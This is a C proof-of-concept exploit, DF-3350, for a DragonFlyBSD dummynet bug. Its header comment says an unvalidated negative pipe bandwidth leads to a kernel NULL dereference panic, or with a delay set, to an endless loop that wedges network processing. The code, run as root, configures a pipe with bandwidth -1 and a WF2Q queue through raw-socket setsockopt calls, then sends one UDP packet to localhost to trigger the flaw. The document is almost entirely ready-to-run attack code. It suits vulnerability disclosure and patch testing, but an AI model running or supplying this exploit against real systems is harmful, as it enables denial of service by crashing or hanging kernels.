DF-3350 / df3350.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 | /* * DF-3350 PoC -- DragonFlyBSD dummynet negative-bandwidth pipe * * sys/net/dummynet/ip_dummynet.c: * config_pipe() stores ioc_pipe->bandwidth with NO validation * (line 1516: x->bandwidth = ioc_pipe->bandwidth;) * ready_event_wfq() with bandwidth < 0 and numbytes < 0: * - t stays 0 (line 618-622: only computed if bw > 0) * - line 623: TAILQ_LAST(&p->p_queue,...)->output_time * dereferences NULL when the delay line is empty * (delay == 0 variant) => kernel panic * - delay > 0 variant: pipe is reinserted into * wfq_ready_heap with key == curr_time, so the * drain loop in dummynet() (line 678) spins * forever => netisr wedge (hard network DoS). * * Must run as root (raw socket). Trigger packet: UDP to 127.0.0.1 * matched by an ipfw `queue` rule (O_QUEUE => WF2Q path). * * usage: ./df3350 [delay_ms] (default 0 = panic variant) */ #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <stdio.h> #include <stdlib.h> #include <strings.h> #include <unistd.h> #include <errno.h> typedef uint64_t dn_key; /* verbatim from sys/net/dummynet/ip_dummynet.h (userland ABI part) */ struct dn_ioc_flowid { uint16_t type; uint16_t pad; union { struct { uint32_t dst_ip; uint32_t src_ip; uint16_t dst_port; uint16_t src_port; uint8_t proto; uint8_t flags; } ip; uint8_t pad[64]; } u; }; struct dn_ioc_flowset { uint16_t fs_type; /* DN_IS_{QUEUE,PIPE}, MUST be first */ uint16_t fs_nr; uint16_t flags_fs; uint16_t parent_nr; int weight; int qsize; int plr; int rq_size; int rq_elements; int w_q; int max_th; int min_th; int max_p; int lookup_step; int lookup_weight; struct dn_ioc_flowid flow_mask; uint8_t reserved[16]; }; struct dn_ioc_pipe { struct dn_ioc_flowset fs; /* MUST be first */ int pipe_nr; int bandwidth; /* bit/second */ int delay; /* milliseconds */ dn_key V; uint8_t reserved[16]; }; #ifndef IP_DUMMYNET_CONFIGURE #define IP_DUMMYNET_CONFIGURE 60 #endif int main(int argc, char **argv) { struct dn_ioc_pipe p, q; struct sockaddr_in dst; int delay_ms = (argc > 1) ? atoi(argv[1]) : 0; int s, u; s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if (s < 0) { perror("raw socket (are you root?)"); exit(1); } /* pipe 1: bandwidth = -1 bit/s, delay = delay_ms ms */ bzero(&p, sizeof(p)); p.pipe_nr = 1; p.bandwidth = -1; p.delay = delay_ms; if (setsockopt(s, IPPROTO_IP, IP_DUMMYNET_CONFIGURE, &p, sizeof(p)) < 0) { perror("config pipe 1"); exit(1); } printf("[+] pipe 1 configured: bandwidth=%d delay=%d(ms)\n", p.bandwidth, p.delay); fflush(stdout); /* WF2Q queue 100 on parent pipe 1 */ bzero(&q, sizeof(q)); q.fs.fs_nr = 100; q.fs.parent_nr = 1; q.fs.weight = 1; if (setsockopt(s, IPPROTO_IP, IP_DUMMYNET_CONFIGURE, &q, sizeof(q)) < 0) { perror("config queue 100"); exit(1); } printf("[+] queue 100 configured (parent=1, weight=1)\n"); fflush(stdout); u = socket(AF_INET, SOCK_DGRAM, 0); bzero(&dst, sizeof(dst)); dst.sin_family = AF_INET; dst.sin_port = htons(9); dst.sin_addr.s_addr = htonl(0x7f000001U); printf("[*] trigger: 1 UDP packet -> 127.0.0.1:9 via lo0\n"); fflush(stdout); if (sendto(u, "A", 1, 0, (struct sockaddr *)&dst, sizeof(dst)) < 0) perror("sendto"); printf("[*] packet queued; dummynet tick fires in <=1ms...\n"); fflush(stdout); sleep(5); printf("[?] survived 5s (delay=%d variant)\n", delay_ms); return 0; } |